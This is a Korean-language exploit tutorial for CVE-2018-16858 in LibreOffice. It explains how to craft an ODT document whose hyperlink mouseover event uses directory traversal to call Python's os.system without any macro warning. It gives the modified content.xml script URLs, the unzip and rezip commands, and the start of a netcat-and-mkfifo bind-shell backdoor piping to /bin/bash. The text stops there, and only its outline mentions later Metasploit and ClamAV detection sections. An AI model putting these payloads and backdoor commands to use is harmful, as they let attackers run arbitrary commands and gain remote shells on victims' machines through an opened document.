
CVE-2018-16858 익스플로잇 구현
이 글에서는 프로그램의 간단한 취약점을 이용하여 해당 프로그램을 사용하는 시스템에 백도어를 여는 방법을 설명합니다.
해당 취약점은 오피스 스위트 LibreOffice의 CVE-2018-16858에 정의되어 있습니다. 이 취약점은 특별히 구성된 파일에서 디렉토리 트래버설을 수행하여 Python 코드 실행을 허용합니다. 해당 실행은 문서에 대한 사용자의 동작(마우스 오버) 시 연결되거나 실행되며, 매크로 실행에 대한 어떠한 경고도 사용자에게 제공되지 않습니다.
본 문서는 다섯 부분으로 나뉩니다. 첫 번째 부분에서는 취약점 자체, OpenDocument 압축 해제 방법, 원하는 로컬 스크립트를 실행하도록 구조를 변경하는 방법, 그리고 문서를 다시 조립하여 실행 및 테스트하는 방법을 설명합니다.
두 번째 부분에서는 로컬 실행을 사용하여 문서가 열린 시스템에서 모든 명령을 실행하는 방법을 살펴보고, 원격 명령 실행을 허용하는 백도어를 생성합니다.
세 번째 부분에서는 직접 또는 역방향 통신을 통해 백도어를 생성하는 문서를 자동 생성하는 프로세스를 자동화하며, 연결해야 할 IP 주소와 포트를 결정합니다.
네 번째 부분에서는 metasploit 시스템에 취약점을 통합하여 msfconsole을 통해 metasploit의 익스플로잇 방식과 호환되는 문서를 생성하는 방법을 다룹니다. 이를 통해 metasploit 스위트에 정의된 모든 페이로드를 실행 코드로 선택할 수 있습니다.
다섯 번째이자 마지막 부분에서는 앞의 절차를 통해 감염된 LibreOffice 파일을 식별할 수 있는 탐지 프로세스를 안티바이러스 시스템에 통합하는 방법을 보여줍니다. ClamAV 안티바이러스의 탐지 형식을 사용하여 안티바이러스의 탐지 프로세스를 더 잘 이해하고 이러한 유형의 위협으로부터 보호를 용이하게 합니다.
모든 프로세스는 Debian 기반 Linux 시스템용으로 수행되지만, 여기서 설명하는 내용은 상세히 설명되어 있으므로 다른 시스템에도 적용할 수 있습니다. 원본 CVE의 취약점 및 개념 증명은 Windows용 LibreOffice 버전에 대해 수행되었으므로, Windows 버전에 대해서도 이 문서에서 설명한 내용을 유사하게 사용하기 위해 해당 출처를 참조할 수 있습니다.
LibreOffice(그리고 유전적 이유로 Apache OpenOffice)는 최신 버전(6.1.5) 이전 버전에서 사용자가 매크로 실행에 대한 경고를 받지 않고 컴퓨터 어디에나 있는 Python 코드를 실행할 수 있는 취약점이 있습니다.
해당 취약점을 확인하기 위해 텍스트 편집기에서 새 문서를 생성하고, 내용을 입력한 후 선택하여 하이퍼링크를 생성할 수 있습니다. 텍스트에 하이퍼링크를 만들려면 메뉴에서 Insert를 선택한 다음 Hyperlink 옵션을 선택합니다(텍스트를 선택한 후 Ctrl+K 키 조합을 사용할 수도 있습니다).
다음 대화상자가 나타납니다:

하이퍼링크를 정의하려면 URL을 입력하고 Apply를 클릭해야 합니다. 대화상자 하단의 URL 옵션 외에도 Further Settings라는 부분에서 Play 아이콘 버튼을 사용할 수 있으며, 이를 통해 특정 동작에 이벤트를 연결할 수 있습니다. 여기서 Python 코드를 실행할 동작을 정의합니다.
해당 버튼을 클릭하면 새 대화상자가 열립니다:

여기서 세 가지 기본 이벤트 중 하나와 사용할 스크립트를 선택할 수 있습니다. 이벤트로 Mouse Over Object를 선택하고, LibreOffice Macros 계열 스크립트 중에서 Python Samples를 선택합니다. 해당 옵션 내에는 TableSample이라는 미리 정의된 스크립트만 있으며, 이를 선택합니다.
이 작업을 완료한 후, 하이퍼링크로 변환한 텍스트 위로 마우스를 가져가면 표가 포함된 문서 창이 열리는 것을 볼 수 있습니다. 이는 하이퍼링크 위로 마우스를 가져가는 이벤트를 Python 스크립트에 연결했음을 의미합니다. 우리의 목표는 이 동작을 우리가 원하는 다른 동작으로 대체하는 것입니다.
이를 위해 생성한 문서를 저장하고 LibreOffice를 종료한 후 콘솔에서 일련의 명령을 실행합니다.
ODT 문서 형식은 그 내부에 일련의 파일이 포함된 zip 파일에 불과합니다(Microsoft Office의 DOCX 형식과 매우 유사합니다). 따라서 먼저 zip 압축 해제 도구를 사용하여 파일의 압축을 풉니다.
여기서는 명령줄 도구인 unzip을 사용하므로 다음 명령문을 실행하기만 하면 됩니다:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
이를 통해 OpenDocument 형식 파일이 실제로 내부에 포함하고 있는 파일들을 볼 수 있습니다. 우리에게 가장 중요한 파일은 mimetypes 파일, content.xml 파일, 그리고 styles.xml 파일입니다.
mimetype 파일은 zip 파일 목록에서 가장 먼저 나타나야 하므로, 파일을 다시 압축할 때 압축 도구를 사용하여 강제로 그렇게 해야 합니다. 그렇지 않으면 파일이 OpenDocument로 인식되지 않습니다.
content.xml 파일에는 우리가 작성한 문서의 텍스트가 포함되어 있으며, 텍스트와 텍스트 표시 형식을 지정하는 특정 태그가 혼합되어 있습니다.
예를 들어, 다음 줄에서:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
text:style-name 속성으로 정의된 특정 스타일로 작성된 텍스트 단락의 예를 볼 수 있습니다. 텍스트 단락은 text:p 시작 태그와 </text:p> 종료 태그 사이에 있습니다.
우리가 만든 하이퍼링크와 연결된 스크립트도 매우 간단하게 볼 수 있습니다. content.xml 텍스트에서 python이라는 단어나 우리가 로드한 python 스크립트 이름(이 경우 TableSample.py)을 검색하면 내용을 변경해야 할 줄을 쉽게 찾을 수 있습니다:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
이 줄에는 하이퍼링크 위에 마우스를 올렸을 때 로드될 python 스크립트의 경로인 TableSample.py와 python 코드에서 실행될 함수인 createTable가 포함되어 있습니다.
LibreOffice의 내재된 문제는 문서를 읽을 때 로드할 python 코드의 값을 제대로 정리(sanitize)하지 않는다는 점입니다. 프로그램은 파일 경로에서 ../ 문자를 정리하지 않으므로, 텍스트 문서가 열리는 시스템의 모든 파일에 접근할 수 있습니다. 또한 접근된 파일이 python 코드가 있는 파일이라면 해당 파일에 정의된 모든 함수를 실행할 수 있습니다.
첫 번째 개념 증명으로 하이퍼링크 위로 마우스를 가져가면 계산기(이 경우 galculator 프로그램이 계산기를 엽니다)가 실행되도록 해보겠습니다. LibreOffice 실행이 기대하는 방식대로 함수 내에서 명령을 실행할 수 있는 python 프로그램을 생성해야 합니다. 이를 위해 /tmp/prueba.py 경로에 다음 코드를 생성합니다:
import os;
def ejecuta():
os.system("galculator");
이 작은 코드로 목적을 달성할 수 있습니다. 이제 odt 파일의 호출 부분에 python 파일 /tmp/prueba.py와 함수 이름 ejecuta를 추가하기만 하면 됩니다. 따라서 python 호출 부분은 다음과 같이 변경됩니다:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
보시다시피, 파일 시스템의 루트에 도달할 때까지 많은 **../**를 추가했습니다. 그런 다음 해당 위치에서 python 파일(prueba.py)의 구체적인 경로를 추가했습니다. $ 뒤에는 계산기를 로드하는 함수인 ejecuta 단어를 추가했습니다.
이 작업을 마친 후, mimetype을 첫 번째 파일로 배치하는 것을 잊지 말고 odt 파일을 다시 압축합니다. zip 유틸리티를 사용하는 경우 odt를 압축 해제한 디렉토리(악성 content.xml이 포함된)에서 다음 명령을 실행하기만 하면 됩니다:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
이 작업을 완료한 후 LibreOffice로 파일을 열면 하이퍼링크 위로 마우스를 가져갈 때 계산기 프로그램이 실행되는 것을 확인할 수 있습니다.
이 첫 번째 단계에서는 매개변수 없이 실행할 수 있는 함수가 포함된 python 코드가 필요합니다. 구현하기는 간단하지만 실제 침투 테스트에서 신뢰할 수 있거나 재현 가능한 환경에서 사용하기는 어려울 수 있습니다.
LibreOffice 6.1 버전부터 python 함수 호출 시 해당 함수에 매개변수를 전달할 수 있는 기능이 제공됩니다. 이는 해당 프로그램의 매크로를 합법적으로 사용하려는 사람들에게 더 큰 스크립팅 자유를 제공하지만, 소프트웨어의 취약점을 찾고자 하는 사람들에게는 황금 같은 기회를 제공합니다.
앞서 말했듯이(실제로 사용했듯이) 시스템 호출을 통해 모든 명령을 실행하기 위해 os 클래스와 system 함수를 호출합니다. 우리는 문자열 galculator를 매개변수로 전달하여 계산기를 호출하는 데 사용했습니다. python 클래스의 좋은 점은 해당 경로를 알 수 있다는 점이며, 함수에 매개변수를 전달할 수 있는 기능을 활용하기 위해 해당 클래스의 위치를 찾을 수 있습니다. 앞서 우리는 /tmp/에 위치한 prueba.py라는 python 프로그램의 함수를 실행했습니다. 이제는 시스템 라이브러리 중 하나인 os.py라는 python 프로그램에 있는 system 함수를 직접 호출할 것입니다. 예를 들어 현재 Linux 시스템에서는 일반적으로 /usr/lib/python3.5/os.py 경로에서 찾을 수 있으므로, 이전 경로인 /tmp/prueba.py를 이 새로운 경로로 변경하겠습니다. 이제 함수 ejecuta를 system 함수로 변경하고, 해당 함수에 매개변수를 전달할 수 있으므로 이제 galculator나 원하는 다른 프로그램을 문서가 열리는 LibreOffice 시스템에서 실행할 python 파일을 생성할 필요 없이 직접 실행할 수 있습니다.
이전에 content.xml 파일에 다음 문자열이 있었습니다:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
이제는 다음과 같이 됩니다:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
파일을 LibreOffice 문서로 압축하는 방법은 정확히 동일합니다. 이제 결과는 특정 경로에 python 프로그램을 배치할 필요 없이 odt 문서를 열기만 하면 됩니다. 단, 문서가 열리는 버전이 최소 LibreOffice 6.1 이상이어야 합니다.
파일이 열리고 문서의 링크 위에 마우스를 올리면 이전 예제와 마찬가지로 계산기 응용 프로그램이 열립니다.
문서가 열릴 때 실행되는 명령은 로컬 머신에서 실행되므로, 이러한 실행을 활용하여 다른 곳에서 원격으로 명령을 실행할 수 있는 백도어를 열 수 있습니다.
매우 간단한 백도어를 만들기 위해 nc 명령을 사용하고 fifo를 생성하여 동일한 포트로 명령을 컴퓨터에 보내고 실행 결과를 얻을 수 있도록 합니다. 명령 실행을 위해 취약점에 처음 접근했을 때 python 프로그램을 만들어야 했습니다. 목표는 익스플로잇하려는 컴퓨터에 추가 코드를 업로드할 필요가 없도록 시스템 명령을 사용하여 백도어를 생성하는 것입니다.
nc 명령은 시스템 명령으로, 로컬 시스템에서 포트를 열거나 원격 시스템의 포트에 연결하여 해당 연결을 통해 수신된 내용을 표준 출력으로 출력하고 표준 입력으로 입력된 내용을 연결을 통해 다른 장비로 보낼 수 있습니다. 파이프 **|**를 사용하여 실행 중인 명령의 화면 출력을 다른 명령에 전달할 수 있으므로, nc 명령과 /bin/bash 명령을 연결하면 원격 명령 실행을 위한 간단한 솔루션을 얻을 수 있습니다. nc ip 포트 | /bin/bash를 실행하면 nc 명령으로 연결된 연결을 통해 도착하는 내용이 쉘을 실행하는 /bin/bash 명령으로 전달되므로, 우리가 연결한 컴퓨터에서 보낸 모든 명령이 실행됩니다. 그러나 이러한 명령의 표준 출력은 nc 명령으로 반환되지 않으므로 출력이 표시되지 않습니다. /bin/bash 명령의 표준 출력을 다른 포트를 사용하는 새 nc 명령으로 리디렉션할 수 있지만, 그러면 명령 전송과 명령 출력 수신을 위해 두 개의 포트가 필요하게 되어 다소 투박합니다.
간단한 해결책은 fifo를 사용하는 것입니다. mkfifo 명령은 동시에 쓰고 읽을 수 있는 파일을 생성합니다. 따라서 fifo 파일을 생성하여 nc 명령의 입력으로 사용하면 해당 파일에 기록된 모든 내용이 연결을 통해 전송되고, /bin/bash 명령의 출력으로 사용하면 해당 명령을 통해 실행된 모든 내용의 출력이 fifo 파일에 기록됩니다.
모든 Linux 터미널에서 서버 역할을 하는 백도어를 실행하기 위한 명령 순서는 다음과 같습니다:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p 포트 < /tmp/lalala | /bin/bash > /tmp/lalala;